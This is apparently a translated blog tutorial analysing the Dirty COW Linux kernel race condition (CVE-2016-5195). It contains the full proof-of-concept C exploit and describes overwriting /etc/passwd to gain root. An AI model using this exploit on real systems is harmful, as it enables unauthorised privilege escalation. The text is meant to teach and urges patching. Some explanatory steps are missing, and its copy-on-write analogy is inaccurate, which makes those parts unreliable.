
Análise técnica detalhada e exploit de prova de conceito para CVE-2016-5195 (Dirty COW), uma vulnerabilidade de escalonamento de privilégios no kernel Linux usando uma condição de corrida no gerenciamento de memória copy-on-write.
Como o kernel roda com privilégios de root, ele pode ser explorado como uma vulnerabilidade de escalonamento de privilégios. Isso significa que um atacante pode aproveitar uma condição de corrida para obter acesso root explorando-a a partir de um usuário de baixo privilégio.
Como aprendi na disciplina de teoria de sistemas operacionais, uma condição de corrida (race condition) ocorre quando dois ou mais processos acessam o mesmo recurso e realizam operações sobre ele sem sincronização adequada. Nesse caso, o resultado dessas operações pode estar incorreto ou não ser o esperado.
Para facilitar o entendimento, vejamos um exemplo simples:
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
Aqui, embora tenhamos duas variáveis, ambas apontam para o mesmo objeto na memória. Isso é um mecanismo do sistema operacional, pois não é necessário ocupar o dobro do espaço de memória para valores idênticos. O SO espera até que a cópia seja modificada; é nesse momento que ele aloca memória separada para a outra variável.
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
Nesse momento, o SO executa o seguinte:
A condição ocorre entre os passos 2 e 4, enganando o mapeamento de memória para gravar o conteúdo modificado no espaço de memória original em vez do espaço recém-alocado. Isso nos faz modificar a memória pertencente a a, ou seja, o objeto original, em vez de b, mesmo tendo apenas privilégio de leitura sobre a.
Agora a parte principal: qual é a ideia do exploit? Como sabemos, as permissões de um usuário são definidas no arquivo /etc/passwd e somente o root pode modificar esse arquivo. Então, podemos aproveitar a condição de corrida para alterar o conteúdo do arquivo /etc/passwd a partir de um usuário com apenas permissão de leitura?
A resposta é sim. Primeiro, vamos analisar o código do exploit aplicado a um exemplo mais simples:

Primeiro, criamos um arquivo dirtycow com permissão 644 (somente root tem permissão de escrita). Vemos que, ao gravar "Hello" no arquivo, obtivemos Permission denied.
Pronto, o alvo do ataque está preparado. Agora, o código do exploit:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
Este exploit é composto por três threads: a thread principal, a writeThread e a madviseThread.
A thread principal tem a função de mapear nosso arquivo na memória:
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
Encontrando a posição do padrão a ser substituído:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
Em seguida, iniciamos as duas threads, writeThread e madviseThread.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
O trabalho dessa thread é substituir a string h1n4m por h4ck3r (ou qualquer outra coisa que você queira :> perigoso, não?), mas, como a memória mapeada é do tipo copy-on-write, essa thread só consegue modificar o conteúdo na cópia da memória mapeada, sem causar nenhuma alteração no arquivo, não é mesmo?
Então onde está o perigo? Vamos ver a outra thread.
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
Essa thread faz apenas uma coisa: descarta a cópia da memória mapeada, fazendo com que o ponteiro possa voltar a apontar para a memória mapeada original.
Se essas duas threads forem executadas de forma sequencial, ou seja, sem multithreading, a alteração sempre afetará apenas a cópia da memória mapeada, sem oferecer perigo ao arquivo protegido. Mas e se as duas threads forem chamadas simultaneamente pelo sistema, ou seja, com multithreading? Exatamente, ocorre uma condição de corrida. Haverá momentos em que o sistema se confundirá e fará o ponteiro apontar para a própria memória mapeada original, modificando dados no arquivo do root mesmo sem permissão de escrita. Mas o sistema operacional nem sempre comete esse erro, por isso as duas threads ficam em um loop infinito; basta o sistema se enganar uma única vez e tudo acontece como planejamos.
Voltando ao problema principal, o arquivo /etc/passwd só pode ser modificado pelo root. Precisamos usar o conhecimento acima para alterar o grupo do lowuser no arquivo /etc/passwd.
Quando somos um usuário comum (low user), não temos permissão de escrita no arquivo dirtycow.
O lowuser foi promovido para o mesmo grupo do root (1001->0000)Através desta análise, apresentei a vocês o CVE-2016-5195, conhecido como "Vaca Suja" (Dirty Cow). Além de alterar o grupo, também é totalmente possível adicionar um novo usuário ao sistema; o método é o mesmo. Embora esse CVE tenha surgido há muito tempo, ainda hoje existem muitos sistemas usando kernels antigos que continuam vulneráveis. Espero que, com este artigo, vocês possam entender de forma geral o CVE e também como se proteger em seus próprios sistemas. (atualizem o kernel!!!!!)
E eu sou h1n4m. Peaceeeee.